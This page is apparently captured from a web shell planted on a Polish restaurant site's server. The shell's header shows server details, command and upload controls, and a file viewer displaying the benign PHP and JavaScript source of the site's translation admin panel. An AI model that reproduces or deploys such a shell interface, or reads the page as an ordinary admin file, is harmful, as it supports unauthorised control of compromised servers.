403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v16-tlumaczenia.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v16_core.php';
$error='';$menus=[];$counts=[];$rows=[];
$area=(string)($_GET['area']??'menu');if(!in_array($area,['menu','blog','pages'],true))$area='menu';
$lang=v16_lang((string)($_GET['lang']??'all'));
$page=max(1,(int)($_GET['page']??1));
$selected=(int)($_GET['menu_id']??0);
try{
    v16_init();$menus=v16_menu_ids();$selected=v16_menu_id($selected);
    foreach(['menu','blog','pages'] as $a)$counts[$a]=v16_status($a);
    $rows=v16_jobs($area,$lang,$selected,$page,35);
}catch(Throwable $e){$error=$e->getMessage();}
$labels=['menu'=>'Menu restauracji','blog'=>'Artykuły bloga','pages'=>'Podstrony WWW'];
$pagePaths=function_exists('p12_paths')?p12_paths():[];
$sampleBlog='';
try{
    $slug=(string)db()->query("SELECT slug FROM blog_posts WHERE status='published' AND publish_at<=NOW() ORDER BY id DESC LIMIT 1")->fetchColumn();
    if(preg_match('/^[a-z0-9-]+$/',$slug))$sampleBlog='/blog/'.$slug;
}catch(Throwable $e){/* Brak publicznego wzorca artykułu nie blokuje innych stron. */}
$baseQuery=['area'=>$area,'lang'=>$lang,'menu_id'=>$selected];
render_admin_header('Polana — jedno centrum tłumaczeń');
?>
<style>
.v16{--line:#dfe4dc;--forest:#24462d;--muted:#64726b;max-width:1320px;margin:18px auto;padding:14px;font-family:inherit;color:inherit}
.v16 *{box-sizing:border-box}.v16 h1{font-size:clamp(26px,3vw,35px);margin:0 0 6px}.v16 p{line-height:1.55}
.v16 .sub{color:var(--muted);font-size:14px}.v16 .cards{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:12px;margin:20px 0}
.v16 .card{background:#fff;color:#253327;padding:16px;border:1px solid var(--line);border-radius:12px}
.v16 .card strong{font-size:16px}.v16 .counts{display:flex;flex-wrap:wrap;gap:7px;margin-top:10px}.v16 .count{background:#eff3eb;padding:5px 8px;border-radius:7px;font-size:12px}
.v16 .tabs{display:flex;flex-wrap:wrap;gap:8px;margin:16px 0}.v16 .tabs a{border:1px solid #cbd7c7;border-radius:10px;padding:10px 15px;text-decoration:none;color:var(--forest);background:#fff}
.v16 .tabs a.active{background:var(--forest);color:white}.v16 .panel{border:1px solid var(--line);border-radius:13px;padding:19px;margin:15px 0;background:#fff;color:#253327}
.v16 button,.v16 select{font:inherit}.v16 button{border:0;background:var(--forest);color:#fff;border-radius:9px;padding:10px 15px;cursor:pointer}
.v16 button.secondary{border:1px solid var(--line);background:#f1f5ee;color:#243829}.v16 button.warn{background:#965b20}.v16 button:disabled{opacity:.45;cursor:not-allowed}
.v16 .flex{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.v16 select{padding:9px;border:1px solid #ccd5c8;background:white;border-radius:8px}
.v16 textarea{display:block;width:100%;min-height:87px;padding:11px;border:1px solid #cbd6ca;border-radius:9px;font:inherit;resize:vertical;background:#fff;color:#1b281c}
.v16 textarea.long{min-height:150px}.v16 .job{border-top:1px solid var(--line);padding:15px 0}.v16 .job:first-of-type{border-top:0}
.v16 .original{padding:11px;background:#f4f6f2;white-space:pre-wrap;overflow-wrap:anywhere;max-height:260px;overflow:auto;font-size:13px}
.v16 .bulk{position:sticky;top:0;z-index:8;background:#fff;box-shadow:0 2px 8px #0001;border:1px solid var(--line);border-radius:10px;padding:10px;margin:12px 0}
.v16 .status{padding:13px;background:#f0f4eb;border-radius:10px;min-height:47px;white-space:pre-line}.v16 .warnText{color:#985c20}
.v16 .tiny{font-size:12px;color:#657265}.v16 progress{width:100%;height:13px;margin-top:8px}
@media(max-width:720px){.v16 .cards{grid-template-columns:1fr}.v16 .panel{padding:13px}.v16 .flex > button{flex:1 1 45%}.v16 .bulk{top:0}}
</style>
<div class="v16">
 <h1>Centrum tłumaczeń</h1>
 <p class="sub">Jeden panel dla całej Polany. Polski jest źródłem, Synology tłumaczy EN / DE / ES, a zatwierdzone wersje zapisujemy do istniejącej MariaDB.</p>
 <?php if($error):?><div class="panel warnText"><strong>Wymaga sprawdzenia:</strong> <?=e($error)?><p>Wymagana działająca instalacja V9, V12, V13, V14 oraz V15. Żaden istniejący edytor nie jest nadpisywany.</p></div><?php endif;?>
 <nav class="tabs" aria-label="Moduły tłumaczeń">
 <?php foreach($labels as $code=>$label):?><a class="<?=$area===$code?'active':''?>" href="?<?=e(http_build_query(['area'=>$code,'lang'=>$lang]))?>"><?=e($label)?></a><?php endforeach; ?>
 </nav>
 <section class="panel" id="v163-actions" style="border:2px solid #aec8a5;background:#f8fbf6;margin:15px 0">
  <h2 style="margin:0 0 8px">Szybkie działania — <?=e($labels[$area])?></h2>
  <p class="sub" style="margin:0 0 12px">Najpierw sprawdź przykłady. Potem możesz zatwierdzić wszystkie gotowe tłumaczenia w wybranym module i języku, bez przechodzenia przez strony wyników. Nazwy własne i nieaktualne treści zostaną pominięte.</p>
  <div class="flex">
   <button type="button" class="secondary" id="v163-preview">1. Sprawdź gotowe tłumaczenia</button>
   <button type="button" id="v163-all-approve" disabled>2. Zatwierdź wszystkie gotowe</button>
   <a href="/admin/polana-centrum-tresci.php" class="sub">← Centrum treści</a>
  </div>
  <div id="v163-preview-results" class="status" style="margin-top:11px;display:none" aria-live="polite"></div>
  <div id="v163-bulk-progress" class="sub" aria-live="polite" style="margin-top:7px"></div>
 </section>
 <div class="cards">
 <?php foreach($labels as $code=>$label):$s=$counts[$code]??[];?><div class="card"><strong><?=e($label)?></strong><div class="counts">
 <span class="count">Oczekuje: <b data-counter="<?=$code?>-pending"><?=(int)($s['pending']??0)?></b></span>
 <span class="count">Do sprawdzenia: <b data-counter="<?=$code?>-review"><?=(int)($s['review']??0)?></b></span>
 <span class="count">Zatwierdzone: <b data-counter="<?=$code?>-approved"><?=(int)($s['approved']??0)?></b></span>
 <span class="count">Błędy: <b data-counter="<?=$code?>-errors"><?=(int)($s['errors']??0)?></b></span>
 </div></div><?php endforeach;?></div>

 <section class="panel">
  <h2 style="margin-top:0">Tłumacz automatycznie</h2>
  <p class="sub">Pozostaw kartę otwartą. Krótkie żądania PHP tłumaczą kolejne frazy. Błędne zadania nie blokują pozostałych; szczegóły są dostępne w diagnostyce. Możesz zatrzymać oraz później wznowić.</p>
  <div class="flex">
   <button type="button" id="v16-all">▶ Tłumacz brakujące — wszystko</button>
   <button type="button" id="v16-stop" class="warn" disabled>■ Zatrzymaj</button>
  </div>
  <div id="v16-status" class="status" role="status" aria-live="polite" style="margin-top:13px">Gotowe do uruchomienia. Dla menu: już zapisane przekłady pozostaną bez zmian, jeśli polski oryginał się nie zmienił.</div>
  <progress id="v16-progress" style="display:none" max="100" value="0"></progress>
  <p class="tiny">Błędy API nie kasują tłumaczeń. Nowe tłumaczenia pojawią się poniżej po odświeżeniu. Do publikacji wymagana jest akceptacja.</p>
  <details class="v163-advanced" style="margin-top:18px">
   <summary style="cursor:pointer;font-weight:600">Opcje zaawansowane</summary>
   <div class="flex" style="margin-top:13px">
    <button type="button" id="v16-run" class="secondary">Tłumacz tylko <?=e($area==='menu'?'menu':($area==='blog'?'bloga':'podstrony'))?></button>
    <button type="button" id="v16-check-errors" class="secondary">Pokaż przyczyny błędów</button>
    <button type="button" id="v16-retry-errors" class="secondary">Ponów nieudane zadania</button>
   </div>
   <div id="v16-errors" style="margin-top:12px"></div>
  </details>
 </section>
 <?php if($area==='menu' && $menus):?>
 <section class="panel">
  <h2 style="margin-top:0">Menu — aktualne karty</h2>
  <form method="get" class="flex" id="v16-menu-select">
   <input type="hidden" name="area" value="menu"><input type="hidden" name="lang" value="<?=e($lang)?>">
   <label>Karta <select name="menu_id" onchange="this.form.submit()">
   <?php foreach($menus as $id=>$m):?><option value="<?=$id?>" <?=$id===$selected?'selected':''?>><?=e(strtoupper($m['menu_type']).' · '.$m['name'].' #'.$id)?></option><?php endforeach;?></select></label>
  </form>
  <details style="margin-top:14px"><summary style="cursor:pointer">Przetłumacz ponownie kartę, która ma zły język</summary>
   <p class="sub">Stare publiczne wersje pozostaną do czasu zatwierdzenia nowych. Użyj tylko dla źle przetłumaczonej karty.</p>
   <div class="flex" id="v16-force-languages"><label><input type="checkbox" value="en"> EN</label><label><input type="checkbox" value="de"> DE</label><label><input type="checkbox" value="es"> ES</label>
    <button type="button" class="warn" id="v16-force">Ponów zaznaczone języki tej karty</button>
   </div>
  </details>
 </section>
 <?php endif;?>
 <section class="panel">
  <h2 style="margin-top:0">Sprawdź, popraw i zatwierdź</h2>
  <p class="sub">Zaznacz wybrane tłumaczenia, popraw tekst w polu i zatwierdź wszystkie jednym kliknięciem. Lista pokazuje tylko gotowe pozycje aktualnego modułu.</p>
  <form method="get" class="flex" style="margin:12px 0">
   <input type="hidden" name="area" value="<?=e($area)?>"><input type="hidden" name="menu_id" value="<?=$selected?>">
   <label>Język <select name="lang"><?php foreach(['all'=>'Wszystkie','en'=>'EN','de'=>'DE','es'=>'ES'] as $code=>$label):?><option value="<?=$code?>" <?=$code===$lang?'selected':''?>><?=$label?></option><?php endforeach;?></select></label>
   <button type="submit" class="secondary">Filtruj</button>
   <a class="sub" href="?<?=e(http_build_query(['area'=>$area,'lang'=>$lang,'menu_id'=>$selected]))?>">Odśwież wyniki</a>
  </form>
  <?php if($rows):?>
  <div class="bulk flex"><label><input type="checkbox" id="v16-select-all"> Wybierz wszystkie na tej stronie</label><b id="v16-picked">0 wybranych</b><button type="button" id="v16-approve">Zapisz poprawki i zatwierdź zaznaczone</button></div>
  <?php foreach($rows as $job):?>
  <article class="job" data-v16-id="<?=(int)$job['id']?>">
   <div class="flex"><label><input type="checkbox" class="v16-pick" value="<?=(int)$job['id']?>"> <strong><?=e(strtoupper((string)$job['lang']).' · '.$job['field'].' · #'.$job['entity_id'])?></strong></label>
   <?php if($area==='blog' && !empty($job['record_name'])):?><span class="sub"><?=e(mb_strimwidth((string)$job['record_name'],0,85,'…','UTF-8'))?></span><?php endif;?>
   </div>
   <details><summary>Oryginał PL</summary><div class="original"><?=e((string)$job['source_text'])?></div></details>
   <label class="sub">Wersja <?=e(strtoupper((string)$job['lang']))?> — można edytować</label>
   <textarea class="v16-value <?=strlen((string)$job['translated_text'])>600?'long':''?>" spellcheck="true"><?=e((string)$job['translated_text'])?></textarea>
   <?php if(function_exists('p14_missing_terms') && ($miss=p14_missing_terms((string)$job['source_text'],(string)$job['translated_text']))):?>
     <p class="warnText" style="font-size:13px">Sprawdź chronione nazwy: <?=e(implode(', ',$miss))?></p>
   <?php endif;?>
  </article>
  <?php endforeach;?>
  <nav class="flex" aria-label="Strony wyników">
   <?php if($page>1):?><a href="?<?=e(http_build_query($baseQuery+['page'=>$page-1]))?>">← Poprzednia</a><?php endif;?>
   <span class="sub">Strona <?=$page?> · do 35 tłumaczeń na stronie</span>
   <?php if(count($rows)===35):?><a href="?<?=e(http_build_query($baseQuery+['page'=>$page+1]))?>">Następna →</a><?php endif;?>
  </nav>
  <?php else:?><p class="sub">Brak gotowych tłumaczeń w wybranym filtrze. Jeżeli tłumaczenie właśnie trwa, odśwież listę po zakończeniu.</p><?php endif;?>
 </section>
 <section class="panel">
  <details>
   <summary style="cursor:pointer;font-weight:600">Dodatkowe narzędzia</summary>
  <div class="flex"><a href="/admin/polana-v14-slownik.php">Słownik nazw własnych</a><a href="/admin/blog.php">Edytor bloga</a><a href="/admin/menus.php">Edytor menu</a><a href="/admin/polana-v11-podstrony.php">Kontrola SEO</a></div>
  <p class="tiny">Starsze moduły V9–V15 pozostają jako zaplecze techniczne. Nie ma osobnej bazy tłumaczeń ani agenta Synology.</p>
  </details>
 </section>
</div>
<script>
(()=>{'use strict';
 const endpoint='/admin/polana-v16-api.php',csrf=<?=json_encode(csrf_token())?>;
 const current=<?=json_encode($area)?>,currentLang=<?=json_encode($lang)?>,currentMenu=<?=json_encode($selected)?>;
 const menuIds=<?=json_encode(array_map('intval',array_keys($menus)))?>;
 const pagePaths=<?=json_encode(array_keys($pagePaths),JSON_UNESCAPED_UNICODE)?>;
 const sampleBlog=<?=json_encode($sampleBlog)?>;
 const status=document.getElementById('v16-status'),progress=document.getElementById('v16-progress');
 const buttons=[document.getElementById('v16-run'),document.getElementById('v16-all')],stop=document.getElementById('v16-stop');
 let running=false,completed=0,failures=0,networkFailures=0,problemCount=0;
 const delay=ms=>new Promise(resolve=>setTimeout(resolve,ms));
 function say(text){status.textContent=text;}
 function paint(area,c){for(const kind of ['pending','review','approved','errors']){const v=document.querySelector(`[data-counter="${area}-${kind}"]`);if(v&&c[kind]!==undefined)v.textContent=String(c[kind]);}}
 function params(action,area,extra={}){const f=new FormData();f.append('csrf_token',csrf);f.append('action',action);f.append('area',area);f.append('menu_id',String(currentMenu));f.append('lang',currentLang);
   for(const [key,value] of Object.entries(extra)){if(Array.isArray(value))value.forEach(v=>f.append(key+'[]',String(v)));else f.append(key,String(value));}return f;}
 async function api(action,area,extra={}){
  const response=await fetch(endpoint,{method:'POST',credentials:'same-origin',cache:'no-store',body:params(action,area,extra)});
  let data;try{data=await response.json();}catch{throw new Error('Odpowiedź serwera nie jest JSON (HTTP '+response.status+'). Sprawdź logi PHP.');}
  if(!response.ok||!data.ok)throw new Error(data.error||('HTTP '+response.status));
  if(data.counts)paint(area,data.counts);return data;
 }
 function begin(){if(running)return false;running=true;completed=0;failures=0;networkFailures=0;problemCount=0;buttons.forEach(x=>x.disabled=true);stop.disabled=false;progress.style.display='block';progress.removeAttribute('value');return true;}
 function end(){running=false;buttons.forEach(x=>x.disabled=false);stop.disabled=true;progress.style.display='none';}
 function nextError(message,kind='content'){
  failures++;problemCount++;
  if(kind==='api')networkFailures++;else networkFailures=0;
  say('Pomijam błędne zadanie ('+problemCount+'). '+message+' — przechodzę dalej.');
  if(networkFailures>=3)throw new Error('Trzy kolejne błędy połączenia z API. Wstrzymano, aby nie obciążać serwera. Sprawdź diagnostykę poniżej.');
}
 async function scanMenu(){say('Menu: sprawdzam aktualne karty…');const res=await api('scan_menu','menu');say('Menu: przygotowano nowe zadania '+(res.scanned?.created??0)+'.');}
 async function tickMenu(){for(const id of menuIds){let n=0;while(running){const r=await api('tick_menu','menu',{menu_id:id});if(r.batch?.busy){await delay(1100);continue;}
   if(r.batch?.empty || Number(r.menu_stats?.pending??0)===0)break;
   if(r.batch?.error){
    const b=r.batch;nextError('Menu #'+id+', zadanie #'+(b.job_id||'?')+', '+(b.lang||'')+': '+(b.detail||b.error),b.kind||'content');
   }else{failures=0;networkFailures=0;}
   completed++;n++;say('Menu #'+id+': przetworzono '+n+' fraz; do sprawdzenia '+r.menu_stats?.review+'; oczekuje '+r.menu_stats?.pending);await delay(420);
 }if(!running)break;}}
 async function scanBlog(){let offset=0,total=0;for(let rounds=0;rounds<1000&&running;rounds++){
  const r=await api('scan_blog','blog',{offset});total+=(r.scan?.scanned??0);say('Blog: zeskanowano '+total+' wpisów…');
  if(r.scan?.next===null || r.scan?.next===undefined)break;
  const next=Number(r.scan.next);if(!Number.isFinite(next)||next<=offset)throw new Error('Błąd stronicowania wpisów');offset=next;
 }say('Blog: zeskanowano '+total+' wpisów.');}
 async function tickBlog(){let pauseRounds=0;let transientFailures=0;
  while(running){const r=await api('tick_blog','blog');const b=r.batch||{},s=r.counts||{};
   if(!b.attempted){
    if(b.waiting && Number(s.pending??0)>0){
     pauseRounds++;if(pauseRounds>5)throw new Error('API nadal zwraca HTTP 502. Wstrzymano po kilku przerwach — sprawdź Synology i Nginx. Zapisany postęp nie przepadł.');
     for(let i=0;i<9&&running;i++){say('Blog: chwilowa przerwa po HTTP 502, wznowienie za około '+(90-i*10)+' s. Pozostało '+s.pending+' zadań.');await delay(10000);}continue;
    }break;
   }
   if(b.failed){const problem=r.problems?.find(x=>Number(x.id)===Number(b.job_id))||r.problems?.[0];
    const msg=problem?.message||'Błąd tłumaczenia wpisu';
    if(/HTTP 502|HTTP 504|HTTP 429/i.test(msg)){
     transientFailures++;problemCount++;
     say('Blog #'+b.job_id+' ('+String(b.lang||'').toUpperCase()+'): '+msg+'. Próbuję innych zadań i później wrócę do tego.');
     if(transientFailures>=3){transientFailures=0;pauseRounds++;if(pauseRounds>5)throw new Error('Powtarzający się HTTP 502/504/429. Sprawdź API Synology, zapisany postęp jest bezpieczny.');
      for(let i=0;i<9&&running;i++){say('Synology/Proxy przeciążone. Wznawiam tłumaczenia za ok. '+(90-i*10)+' s.');await delay(10000);}}
    }else nextError('Blog #'+(b.job_id||'?')+': '+msg,/HTTP |Polaczenie|timeout|cURL|SSL/i.test(msg)?'api':'content');
   }else{failures=0;networkFailures=0;transientFailures=0;}
   completed++;const fragment=b.partial?(' · wpis #'+b.entity_id+' '+String(b.lang||'').toUpperCase()+' '+b.field+' · fragment '+b.segment+'/'+b.segments):'';
   say('Blog: '+completed+' żądań'+fragment+', oczekuje '+s.pending+', do akceptacji '+s.review);await delay(650);
  }
 }
 async function scanPages(){let ok=0,skip=0;for(const path of pagePaths){if(!running)break;
  const pathToFetch=path==='/blog-post'?sampleBlog:path;
  if(!pathToFetch){skip++;continue;}
  const url=pathToFetch+(pathToFetch.includes('?')?'&':'?')+'p12_scan='+encodeURIComponent(csrf);
  try{const r=await fetch(url,{credentials:'same-origin',cache:'no-store',redirect:'follow'});
   if(!r.ok||r.url.includes('/admin/login'))throw new Error('HTTP '+r.status);
   await r.text();ok++;
  }catch(e){skip++;}say('Podstrony: sprawdzono '+ok+', pominięto '+skip+', obecnie '+path);
 }
 if(skip)say('Podstrony: '+ok+' zeskanowanych, '+skip+' pominiętych; sprawdź pominięte podstrony i wymagania dostępu.');}
 async function tickPages(){while(running){const r=await api('tick_pages','pages');if(r.busy){await delay(1200);continue;}
  const b=r.batch||{},s=r.counts||{};if(!b.attempted || Number(s.pending??0)===0)break;
  if(b.errors){const problem=r.problems?.[0];const msg=problem?.message||'Błąd tłumaczenia podstrony';
   nextError('Podstrona, zadanie #'+(problem?.id||'?')+': '+msg,/HTTP |Polaczenie|timeout|cURL|SSL/i.test(msg)?'api':'content');
  }else{failures=0;networkFailures=0;}
  completed++;say('Podstrony: '+completed+' żądań, oczekuje '+s.pending+', do akceptacji '+s.review);await delay(600);
 }}
 async function runArea(a){failures=0;if(a==='menu'){await scanMenu();if(running)await tickMenu();}
  else if(a==='blog'){await scanBlog();if(running)await tickBlog();}
  else{await scanPages();if(running)await tickPages();}}
 async function launch(areas){if(!begin())return;try{
  for(const a of areas){if(!running)break;completed=0;say('Pracuję: '+(a==='menu'?'menu':a==='blog'?'blog':'podstrony')+'…');await runArea(a);}
  if(running)say('Zakończono. Przetworzono '+completed+' żądań, błędne: '+problemCount+'. Odśwież stronę, by zatwierdzić wyniki; błędy można ponowić osobno.');
  else say('Zatrzymano. Przetworzone tłumaczenia pozostają w MariaDB.');
 }catch(err){say('Przerwano: '+err.message);}finally{end();}}
 // V16.3: zatwierdzanie gotowych wyników w partiach 15 bez blokowania PHP.
 const bulkPreviewButton=document.getElementById('v163-preview');
 const bulkApproveButton=document.getElementById('v163-all-approve');
 const bulkInfo=document.getElementById('v163-preview-results');
 const bulkProgress=document.getElementById('v163-bulk-progress');
 let bulkPreviewTotal=0,bulkWorking=false;
 bulkPreviewButton.addEventListener('click',async()=>{
  if(running||bulkWorking)return;
  bulkApproveButton.disabled=true;
  bulkInfo.style.display='block';bulkInfo.textContent='Sprawdzam gotowe pozycje…';
  try{
   const r=await api('bulk_preview',current,{bulk_menu_id:0});
   bulkPreviewTotal=Number(r.preview?.total??0);
   const examples=r.preview?.examples||[];
   const lines=examples.map(x=>'#'+x.id+' '+x.lang.toUpperCase()+' / '+x.field+'\nPL: '+x.source+'\nTL: '+x.translated);
   bulkInfo.textContent='Gotowych w filtrze: '+bulkPreviewTotal+'.\n'+
      (current==='menu'?'Menu: wszystkie aktualne karty (Dania, Napoje, Wina).\n':'')+
      (examples.length?'Przykłady (pierwsze '+examples.length+'):\n\n'+lines.join('\n\n'):'Brak tłumaczeń do zatwierdzenia.');
   bulkApproveButton.disabled=bulkPreviewTotal===0;
  }catch(err){bulkInfo.textContent='Nie udało się sprawdzić: '+err.message;}
 });
 bulkApproveButton.addEventListener('click',async()=>{
  if(running||bulkWorking||!bulkPreviewTotal)return;
  if([...document.querySelectorAll('.v16-pick:checked')].some(el=>{
    const t=el.closest('.job')?.querySelector('textarea');return t && t.value!==t.defaultValue;
  }))return alert('Masz niezapisane poprawki w widocznych pozycjach. Najpierw kliknij „Zapisz poprawki i zatwierdź zaznaczone”.');
  if(!confirm('Zatwierdzić zbiorczo do '+bulkPreviewTotal+' GOTOWYCH tłumaczeń z wybranego modułu i języka?\n\nTo publikuje wyniki, których nie przeglądano pojedynczo. Błędy nazw własnych i nieaktualne teksty zostaną pominięte.'))return;
  bulkWorking=true;bulkApproveButton.disabled=true;bulkPreviewButton.disabled=true;
  let cursor=0,done=0,reviewed=0,skipped=0,examples=[];
  try{
   for(let cycle=0;cycle<1000;cycle++){
    const r=await api('bulk_next',current,{bulk_menu_id:0,cursor,acknowledge:'ZATWIERDZAM'});
    const b=r.batch||{};
    done+=Number(b.approved??0);reviewed+=Number(b.processed??0);
    const fail=b.skipped||[];skipped+=fail.length;
    for(const f of fail){if(examples.length<8)examples.push('#'+f.id+' '+f.reason);}
    const next=Number(b.cursor??cursor);
    if(next<cursor || (next===cursor&&!b.finished))throw new Error('Nieprawidłowy postęp zatwierdzania');
    cursor=next;
    bulkProgress.textContent='Zatwierdzono '+done+' / sprawdzono '+reviewed+'; pominięto '+skipped+'. Pracuję dalej…';
    if(b.finished||Number(b.processed??0)===0)break;
    await delay(180);
   }
   bulkProgress.textContent='Zakończono: zatwierdzono '+done+', pominięto '+skipped+'.'+
        (examples.length?' Do ręcznego sprawdzenia: '+examples.join('; '):'');
   bulkInfo.textContent='Pozycje pominięte pozostają w kolejce do ręcznej korekty. Odśwież stronę, aby zobaczyć aktualne liczniki.';
   bulkPreviewTotal=0;
  }catch(err){bulkProgress.textContent='Przerwano po zatwierdzeniu '+done+' pozycji: '+err.message+' Można wznowić po ponownym sprawdzeniu.';}
  finally{bulkWorking=false;bulkPreviewButton.disabled=false;}
 });
 const errorPane=document.getElementById('v16-errors');
 async function showProblems(){
  try{
   const result=await api('diagnostics',current);const rows=result.problems||[];
   errorPane.replaceChildren();
   if(!rows.length){errorPane.textContent='Brak zapisanych błędów w wybranym module / karcie.';return;}
   const heading=document.createElement('p');heading.textContent='Ostatnie błędy ('+rows.length+' pozycji):';errorPane.appendChild(heading);
   for(const row of rows){
    const item=document.createElement('div');item.style.cssText='padding:9px;margin:6px 0;background:#fff5e8;border:1px solid #e6bd80;border-radius:7px;white-space:pre-wrap;overflow-wrap:anywhere';
    item.textContent='#'+row.id+' · '+row.lang.toUpperCase()+' · próby: '+row.attempts+' · '+row.item+'\n'+row.message+'\nPL: '+row.source_text;
    errorPane.appendChild(item);
   }
  }catch(err){errorPane.textContent='Nie udało się pobrać diagnostyki: '+err.message;}
 }
 document.getElementById('v16-check-errors').addEventListener('click',showProblems);
 document.getElementById('v16-retry-errors').addEventListener('click',async()=>{
  if(running)return alert('Najpierw zatrzymaj tłumaczenie.');
  if(!confirm('Ponowić tylko zadania, które wykorzystały limit prób? Zatwierdzone tłumaczenia pozostają bez zmian.'))return;
  try{const result=await api('retry_failed',current);say('Przywrócono do kolejki '+result.reset+' błędnych zadań. Możesz uruchomić tłumaczenie.');await showProblems();}
  catch(err){alert('Nie udało się ponowić: '+err.message);}
 });
 buttons[0].addEventListener('click',()=>launch([current]));
 buttons[1].addEventListener('click',()=>launch(['menu','blog','pages']));
 stop.addEventListener('click',()=>{running=false;say('Zatrzymywanie po bieżącym żądaniu…');});
 const force=document.getElementById('v16-force');if(force)force.addEventListener('click',async()=>{
  if(running)return;
  const languages=[...document.querySelectorAll('#v16-force-languages input:checked')].map(el=>el.value);
  if(!languages.length)return alert('Wybierz EN, DE lub ES.');
  if(!confirm('Ponowić tłumaczenie całej wybranej karty w językach '+languages.join(', ')+'? Dotychczasowa publikacja pozostaje do zatwierdzenia nowych tekstów.'))return;
  try{const r=await api('scan_menu_force','menu',{languages,confirm:'PONOW'});say('Przygotowano '+(r.scan?.created??0)+' nowych zadań. Kliknij „Tłumacz menu”.');}
  catch(err){alert(err.message);}
 });
 const boxes=[...document.querySelectorAll('.v16-pick')],select=document.getElementById('v16-select-all');
 function count(){if(!select)return;const n=boxes.filter(x=>x.checked).length;document.getElementById('v16-picked').textContent=n+' wybranych';select.checked=n>0&&n===boxes.length;select.indeterminate=n>0&&n<boxes.length;}
 if(select){select.addEventListener('change',()=>{boxes.forEach(b=>b.checked=select.checked);count();});boxes.forEach(b=>b.addEventListener('change',count));}
 const approve=document.getElementById('v16-approve');if(approve)approve.addEventListener('click',async()=>{
  if(running)return alert('Zatrzymaj najpierw proces tłumaczenia.');
  const selected=boxes.filter(x=>x.checked).map(x=>x.value);
  if(!selected.length)return alert('Zaznacz pozycje do zatwierdzenia.');
  if(!confirm('Zapisz własne korekty i zatwierdź '+selected.length+' wybranych tłumaczeń?'))return;
  const form=params('approve',current);for(const id of selected){const card=document.querySelector('[data-v16-id="'+id+'"]');
   form.append('ids[]',id);form.append('values['+id+']',card.querySelector('textarea').value);
  }
  approve.disabled=true;try{
   const response=await fetch(endpoint,{method:'POST',body:form,credentials:'same-origin',cache:'no-store'});const r=await response.json();
   if(!r.ok)throw new Error(r.error||'HTTP '+response.status);
   const result=r.result||{},failed=result.failed||[];
   alert('Zatwierdzono '+result.approved+' z '+selected.length+' pozycji.'+(failed.length?' Błędy: '+failed.slice(0,3).map(x=>'#'+x.id+' '+x.reason).join('; '):''));
   location.reload();
  }catch(err){alert('Nie udało się zatwierdzić: '+err.message);}finally{approve.disabled=false;}
 });
})();
</script>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit